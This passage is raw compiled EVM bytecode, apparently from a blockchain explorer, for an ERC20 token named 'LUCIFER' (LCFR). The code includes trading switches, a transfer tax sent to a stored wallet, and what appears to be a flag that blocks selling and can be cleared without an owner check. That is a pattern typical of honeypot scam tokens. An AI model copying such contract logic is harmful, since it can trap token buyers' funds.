fc5762000efb62000d19565b5b62000f0a8582860162000e5f565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000f6357607f821691505b60208210810362000f795762000f7862000f1e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000fdd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000fa0565b62000fe9868362000fa0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620010336200102d620010278462001001565b6200100a565b62001001565b9050919050565b5f819050919050565b6200104e8362001013565b620010666200105d826200103a565b84845462000fac565b825550505050565b5f90565b6200107c6200106e565b6200108981848462001043565b505050565b5b81811015620010b057620010a45f8262001072565b6001810190506200108f565b5050565b601f821115620010ff57620010c98162000f7f565b620010d48462000f91565b81016020851015620010e4578190505b620010fc620010f38562000f91565b8301826200108e565b50505b505050565b5f82821c905092915050565b5f620011215f198460080262001104565b1980831691505092915050565b5f6200113b838362001110565b9150826002028217905092915050565b620011568262000f14565b67ffffffffffffffff81111562001172576200117162000d35565b5b6200117e825462000f4b565b6200118b828285620010b4565b5f60209050601f831160018114620011c1575f8415620011ac578287015190505b620011b885826200112e565b86555062001227565b601f198416620011d18662000f7f565b5f5b82811015620011fa57848901518255600182019150602085019450602081019050620011d3565b868310156200121a578489015162001216601f89168262001110565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620012688262001001565b9150620012758362001001565b9250828202620012858162001001565b915082820484148315176200129f576200129e6200122f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620012df8262001001565b9150620012ec8362001001565b925082620012ff57620012fe620012a6565b5b828204905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62001335826200130a565b9050919050565b620013478162001329565b811462001352575f80fd5b50565b5f8151905062001365816200133c565b92915050565b5f6020828403121562001383576200138262000d15565b5b5f620013928482850162001355565b91505092915050565b620013a68162001329565b82525050565b5f604082019050620013c15f8301856200139b565b620013d060208301846200139b565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6200141d601f83620013d7565b91506200142a82620013e7565b602082019050919050565b5f6020820190508181035f8301526200144e816200140f565b9050919050565b5f620014618262001001565b91506200146e8362001001565b92508282019050808211156200148957620014886200122f565b5b92915050565b6200149a8162001001565b82525050565b5f602082019050620014b55f8301846200148f565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62001517602483620013d7565b91506200152482620014bb565b604082019050919050565b5f6020820190508181035f830152620015488162001509565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f620015ab602283620013d7565b9150620015b8826200154f565b604082019050919050565b5f6020820190508181035f830152620015dc816200159d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62001619602083620013d7565b91506200162682620015e3565b602082019050919050565b5f6020820190508181035f8301526200164a816200160b565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f620016ad602683620013d7565b9150620016ba8262001651565b604082019050919050565b5f6020820190508181035f830152620016de816200169f565b9050919050565b61293180620016f35f395ff3fe6080604052600436106101db575f3560e01c80638a8c523c11610101578063c3f70b5211610094578063ea4cfe1211610063578063ea4cfe12146106cc578063ea6debd0146106f6578063f2fde38b1461071e578063f8b45b0514610746576101e2565b8063c3f70b5214610612578063c78d0fa01461063c578063cc1776d314610666578063dd62ed3e14610690576101e2565b806396ce0795116100d057806396ce079514610546578063a457c2d714610570578063a9059cbb146105ac578063bbc0c742146105e8576101e2565b80638a8c523c146104a05780638d3e6e40146104b65780638da5cb5b146104f257806395d89b411461051c576101e2565b806339509351116101795780635a90a49e116101485780635a90a49e146103fc57806367acf1d31461043857806370a082311461044e578063715018a61461048a576101e2565b80633950935114610342578063452ed4f11461037e5780634a62bb65146103a85780634f7041a5146103d2576101e2565b806318160ddd116101b557806318160ddd1461027657806323b872dd146102a057806331286832146102dc578063313ce56714610318576101e2565b806306fdde03146101e65780630758d92414610210578063095ea7b31461023a576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa610770565b6040516102079190611c8e565b60405180910390f35b34801561021b575f80fd5b50610224610800565b6040516102319190611d28565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b9190611db3565b610825565b60405161026d9190611e0b565b60405180910390f35b348015610281575f80fd5b5061028a610847565b6040516102979190611e33565b60405180910390f35b3480156102ab575f80fd5b506102c660048036038101906102c19190611e4c565b610850565b6040516102d39190611e0b565b60405180910390f35b3480156102e7575f80fd5b5061030260048036038101906102fd9190611e9c565b61087e565b60405161030f9190611e0b565b60405180910390f35b348015610323575f80fd5b5061032c61089b565b6040516103399190611ee2565b60405180910390f35b34801561034d575f80fd5b5061036860048036038101906103639190611db3565b6108a3565b6040516103759190611e0b565b60405180910390f35b348015610389575f80fd5b506103926108d9565b60405161039f9190611f0a565b60405180910390f35b3480156103b3575f80fd5b506103bc6108fe565b6040516103c99190611e0b565b60405180910390f35b3480156103dd575f80fd5b506103e6610910565b6040516103f39190611e33565b60405180910390f35b348015610407575f80fd5b50610422600480360381019061041d9190611e9c565b610916565b60405161042f9190611e0b565b60405180910390f35b348015610443575f80fd5b5061044c610933565b005b348015610459575f80fd5b50610474600480360381019061046f9190611e9c565b61094e565b6040516104819190611e33565b60405180910390f35b348015610495575f80fd5b5061049e610993565b005b3480156104ab575f80fd5b506104b4610ae6565b005b3480156104c1575f80fd5b506104dc60048036038101906104d79190611e9c565b610be7565b6040516104e99190611e0b565b60405180910390f35b3480156104fd575f80fd5b50610506610c04565b6040516105139190611f0a565b60405180910390f35b348015610527575f80fd5b50610530610c2c565b60405161053d9190611c8e565b60405180910390f35b348015610551575f80fd5b5061055a610cbc565b6040516105679190611e33565b60405180910390f35b34801561057b575f80fd5b5061059660048036038101906105919190611db3565b610cc1565b6040516105a39190611e0b565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd9190611db3565b610d36565b6040516105df9190611e0b565b60405180910390f35b3480156105f3575f80fd5b506105fc610d58565b6040516106099190611e0b565b60405180910390f35b34801561061d575f80fd5b50610626610d6a565b6040516106339190611e33565b60405180910390f35b348015610647575f80fd5b50610650610d70565b60405161065d9190611e33565b60405180910390f35b348015610671575f80fd5b5061067a610d76565b6040516106879190611e33565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190611f23565b610d7c565b6040516106c39190611e33565b60405180910390f35b3480156106d7575f80fd5b506106e0610dfe565b6040516106ed9190611f0a565b60405180910390f35b348015610701575f80fd5b5061071c60048036038101906107179190611e9c565b610e24565b005b348015610729575f80fd5b50610744600480360381019061073f9190611e9c565b610f6c565b005b348015610751575f80fd5b5061075a61112e565b6040516107679190611e33565b60405180910390f35b60606003805461077f90611f8e565b80601f01602080910402602001604051908101604052809291908181526020018280546107ab90611f8e565b80156107f65780601f106107cd576101008083540402835291602001916107f6565b820191905f5260205f20905b8154815290600101906020018083116107d957829003601f168201915b5050505050905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8061082f611134565b905061083c81858561113b565b600191505092915050565b5f600254905090565b5f8061085a611134565b90506108678582856112fe565b610872858585611389565b60019150509392505050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f806108ad611134565b90506108ce8185856108bf8589610d7c565b6108c99190611feb565b61113b565b600191505092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900460ff1681565b600d5481565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f600c5f6101000a81548160ff021916908315150217905550565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61099b611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aee611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390612068565b60405180910390fd5b60085f9054906101000a900460ff1615610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc2906120d0565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c3b90611f8e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6790611f8e565b8015610cb25780601f10610c8957610100808354040283529160200191610cb2565b820191905f5260205f20905b815481529060010190602001808311610c9557829003601f168201915b5050505050905090565b606481565b5f80610ccb611134565b90505f610cd88286610d7c565b905083811015610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d149061215e565b60405180910390fd5b610d2a828686840361113b565b60019250505092915050565b5f80610d40611134565b9050610d4d818585611389565b600191505092915050565b60085f9054906101000a900460ff1681565b600a5481565b60115481565b600e5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e2c611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f906121c6565b60405180910390fd5b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f74611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612254565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a0906122e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e90612370565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f19190611e33565b60405180910390a3505050565b5f6113098484610d7c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113835781811015611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c906123d8565b60405180910390fd5b611382848484840361113b565b5b50505050565b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611424575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061143b5750601060019054906101000a900460ff165b156114505761144b8383836114c7565b6114c2565b60085f9054906101000a900460ff1661149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590612440565b60405180910390fd5b6114a9838383611733565b816114b4919061245e565b90506114c18383836114c7565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90612501565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061258f565b60405180910390fd5b6115ae83838361190c565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611631576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116289061261d565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171a9190611e33565b60405180910390a361172d848484611911565b50505050565b5f6011546117403061094e565b1015801561175b5750601060019054906101000a900460ff16155b80156117ae575060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117f1576001601060016101000a81548160ff0219169083151502179055506117d6611916565b5f601060016101000a81548160ff0219169083151502179055505b5f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118805760011515600c5f9054906101000a900460ff1615151461185f575f80fd5b6064600e548461186f919061263b565b61187991906126a9565b90506118ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118ec576064600d54846118df919061263b565b6118e991906126a9565b90505b5b5f811115611901576119008530836114c7565b5b809150509392505050565b505050565b505050565b5f6119203061094e565b90505f810361192f57506119f8565b602860115461193e919061263b565b811115611957576028601154611954919061263b565b90505b611960816119fa565b5f4711156119f6575f600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516119af90612706565b5f6040518083038185875af1925050503d805f81146119e9576040519150601f19603f3d011682016040523d82523d5f602084013e6119ee565b606091505b505080915050505b505b565b5f600267ffffffffffffffff811115611a1657611a1561271a565b5b604051908082528060200260200182016040528015611a445781602001602082028036833780820191505090505b50905030815f81518110611a5b57611a5a612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b239190612788565b81600181518110611b3757611b36612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bd39594939291906128a3565b5f604051808303815f87803b158015611bea575f80fd5b505af1158015611bfc573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c3b578082015181840152602081019050611c20565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c6082611c04565b611c6a8185611c0e565b9350611c7a818560208601611c1e565b611c8381611c46565b840191505092915050565b5f6020820190508181035f830152611ca68184611c56565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f611cf0611ceb611ce684611cae565b611ccd565b611cae565b9050919050565b5f611d0182611cd6565b9050919050565b5f611d1282611cf7565b9050919050565b611d2281611d08565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f80fd5b5f611d4f82611cae565b9050919050565b611d5f81611d45565b8114611d69575f80fd5b50565b5f81359050611d7a81611d56565b92915050565b5f819050919050565b611d9281611d80565b8114611d9c575f80fd5b50565b5f81359050611dad81611d89565b92915050565b5f8060408385031215611dc957611dc8611d41565b5b5f611dd685828601611d6c565b9250506020611de785828601611d9f565b9150509250929050565b5f8115159050919050565b611e0581611df1565b82525050565b5f602082019050611e1e5f830184611dfc565b92915050565b611e2d81611d80565b82525050565b5f602082019050611e465f830184611e24565b92915050565b5f805f60608486031215611e6357611e62611d41565b5b5f611e7086828701611d6c565b9350506020611e8186828701611d6c565b9250506040611e9286828701611d9f565b9150509250925092565b5f60208284031215611eb157611eb0611d41565b5b5f611ebe84828501611d6c565b91505092915050565b5f60ff82169050919050565b611edc81611ec7565b82525050565b5f602082019050611ef55f830184611ed3565b92915050565b611f0481611d45565b82525050565b5f602082019050611f1d5f830184611efb565b92915050565b5f8060408385031215611f3957611f38611d41565b5b5f611f4685828601611d6c565b9250506020611f5785828601611d6c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fa557607f821691505b602082108103611fb857611fb7611f61565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ff582611d80565b915061200083611d80565b925082820190508082111561201857612017611fbe565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612052602083611c0e565b915061205d8261201e565b602082019050919050565b5f6020820190508181035f83015261207f81612046565b9050919050565b7f54726164696e67206163746976650000000000000000000000000000000000005f82015250565b5f6120ba600e83611c0e565b91506120c582612086565b602082019050919050565b5f6020820190508181035f8301526120e7816120ae565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612148602583611c0e565b9150612153826120ee565b604082019050919050565b5f6020820190508181035f8301526121758161213c565b9050919050565b7f7a65726f206164647265737300000000000000000000000000000000000000005f82015250565b5f6121b0600c83611c0e565b91506121bb8261217c565b602082019050919050565b5f6020820190508181035f8301526121dd816121a4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61223e602683611c0e565b9150612249826121e4565b604082019050919050565b5f6020820190508181035f83015261226b81612232565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122cc602483611c0e565b91506122d782612272565b604082019050919050565b5f6020820190508181035f8301526122f9816122c0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61235a602283611c0e565b915061236582612300565b604082019050919050565b5f6020820190508181035f8301526123878161234e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6123c2601d83611c0e565b91506123cd8261238e565b602082019050919050565b5f6020820190508181035f8301526123ef816123b6565b9050919050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f61242a601283611c0e565b9150612435826123f6565b602082019050919050565b5f6020820190508181035f8301526124578161241e565b9050919050565b5f61246882611d80565b915061247383611d80565b925082820390508181111561248b5761248a611fbe565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124eb602583611c0e565b91506124f682612491565b604082019050919050565b5f6020820190508181035f830152612518816124df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612579602383611c0e565b91506125848261251f565b604082019050919050565b5f6020820190508181035f8301526125a68161256d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612607602683611c0e565b9150612612826125ad565b604082019050919050565b5f6020820190508181035f830152612634816125fb565b9050919050565b5f61264582611d80565b915061265083611d80565b925082820261265e81611d80565b9150828204841483151761267557612674611fbe565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126b382611d80565b91506126be83611d80565b9250826126ce576126cd61267c565b5b828204905092915050565b5f81905092915050565b50565b5f6126f15f836126d9565b91506126fc826126e3565b5f82019050919050565b5f612710826126e6565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061278281611d56565b92915050565b5f6020828403121561279d5761279c611d41565b5b5f6127aa84828501612774565b91505092915050565b5f819050919050565b5f6127d66127d16127cc846127b3565b611ccd565b611d80565b9050919050565b6127e6816127bc565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61281e81611d45565b82525050565b5f61282f8383612815565b60208301905092915050565b5f602082019050919050565b5f612851826127ec565b61285b81856127f6565b935061286683612806565b805f5b8381101561289657815161287d8882612824565b97506128888361283b565b925050600181019050612869565b5085935050505092915050565b5f60a0820190506128b65f830188611e24565b6128c360208301876127dd565b81810360408301526128d58186612847565b90506128e46060830185611efb565b6128f16080830184611e24565b969550505050505056fea2646970667358221220b60498c642644b8f814e45526eb99ac785c0708dda541b180f62b378ca5d7a2364736f6c634300081500330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000074c5543494645520000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c43465200000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101db575f3560e01c80638a8c523c11610101578063c3f70b5211610094578063ea4cfe1211610063578063ea4cfe12146106cc578063ea6debd0146106f6578063f2fde38b1461071e578063f8b45b0514610746576101e2565b8063c3f70b5214610612578063c78d0fa01461063c578063cc1776d314610666578063dd62ed3e14610690576101e2565b806396ce0795116100d057806396ce079514610546578063a457c2d714610570578063a9059cbb146105ac578063bbc0c742146105e8576101e2565b80638a8c523c146104a05780638d3e6e40146104b65780638da5cb5b146104f257806395d89b411461051c576101e2565b806339509351116101795780635a90a49e116101485780635a90a49e146103fc57806367acf1d31461043857806370a082311461044e578063715018a61461048a576101e2565b80633950935114610342578063452ed4f11461037e5780634a62bb65146103a85780634f7041a5146103d2576101e2565b806318160ddd116101b557806318160ddd1461027657806323b872dd146102a057806331286832146102dc578063313ce56714610318576101e2565b806306fdde03146101e65780630758d92414610210578063095ea7b31461023a576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa610770565b6040516102079190611c8e565b60405180910390f35b34801561021b575f80fd5b50610224610800565b6040516102319190611d28565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b9190611db3565b610825565b60405161026d9190611e0b565b60405180910390f35b348015610281575f80fd5b5061028a610847565b6040516102979190611e33565b60405180910390f35b3480156102ab575f80fd5b506102c660048036038101906102c19190611e4c565b610850565b6040516102d39190611e0b565b60405180910390f35b3480156102e7575f80fd5b5061030260048036038101906102fd9190611e9c565b61087e565b60405161030f9190611e0b565b60405180910390f35b348015610323575f80fd5b5061032c61089b565b6040516103399190611ee2565b60405180910390f35b34801561034d575f80fd5b5061036860048036038101906103639190611db3565b6108a3565b6040516103759190611e0b565b60405180910390f35b348015610389575f80fd5b506103926108d9565b60405161039f9190611f0a565b60405180910390f35b3480156103b3575f80fd5b506103bc6108fe565b6040516103c99190611e0b565b60405180910390f35b3480156103dd575f80fd5b506103e6610910565b6040516103f39190611e33565b60405180910390f35b348015610407575f80fd5b50610422600480360381019061041d9190611e9c565b610916565b60405161042f9190611e0b565b60405180910390f35b348015610443575f80fd5b5061044c610933565b005b348015610459575f80fd5b50610474600480360381019061046f9190611e9c565b61094e565b6040516104819190611e33565b60405180910390f35b348015610495575f80fd5b5061049e610993565b005b3480156104ab575f80fd5b506104b4610ae6565b005b3480156104c1575f80fd5b506104dc60048036038101906104d79190611e9c565b610be7565b6040516104e99190611e0b565b60405180910390f35b3480156104fd575f80fd5b50610506610c04565b6040516105139190611f0a565b60405180910390f35b348015610527575f80fd5b50610530610c2c565b60405161053d9190611c8e565b60405180910390f35b348015610551575f80fd5b5061055a610cbc565b6040516105679190611e33565b60405180910390f35b34801561057b575f80fd5b5061059660048036038101906105919190611db3565b610cc1565b6040516105a39190611e0b565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd9190611db3565b610d36565b6040516105df9190611e0b565b60405180910390f35b3480156105f3575f80fd5b506105fc610d58565b6040516106099190611e0b565b60405180910390f35b34801561061d575f80fd5b50610626610d6a565b6040516106339190611e33565b60405180910390f35b348015610647575f80fd5b50610650610d70565b60405161065d9190611e33565b60405180910390f35b348015610671575f80fd5b5061067a610d76565b6040516106879190611e33565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190611f23565b610d7c565b6040516106c39190611e33565b60405180910390f35b3480156106d7575f80fd5b506106e0610dfe565b6040516106ed9190611f0a565b60405180910390f35b348015610701575f80fd5b5061071c60048036038101906107179190611e9c565b610e24565b005b348015610729575f80fd5b50610744600480360381019061073f9190611e9c565b610f6c565b005b348015610751575f80fd5b5061075a61112e565b6040516107679190611e33565b60405180910390f35b60606003805461077f90611f8e565b80601f01602080910402602001604051908101604052809291908181526020018280546107ab90611f8e565b80156107f65780601f106107cd576101008083540402835291602001916107f6565b820191905f5260205f20905b8154815290600101906020018083116107d957829003601f168201915b5050505050905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8061082f611134565b905061083c81858561113b565b600191505092915050565b5f600254905090565b5f8061085a611134565b90506108678582856112fe565b610872858585611389565b60019150509392505050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f806108ad611134565b90506108ce8185856108bf8589610d7c565b6108c99190611feb565b61113b565b600191505092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900460ff1681565b600d5481565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f600c5f6101000a81548160ff021916908315150217905550565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61099b611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aee611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390612068565b60405180910390fd5b60085f9054906101000a900460ff1615610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc2906120d0565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c3b90611f8e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6790611f8e565b8015610cb25780601f10610c8957610100808354040283529160200191610cb2565b820191905f5260205f20905b815481529060010190602001808311610c9557829003601f168201915b5050505050905090565b606481565b5f80610ccb611134565b90505f610cd88286610d7c565b905083811015610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d149061215e565b60405180910390fd5b610d2a828686840361113b565b60019250505092915050565b5f80610d40611134565b9050610d4d818585611389565b600191505092915050565b60085f9054906101000a900460ff1681565b600a5481565b60115481565b600e5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373f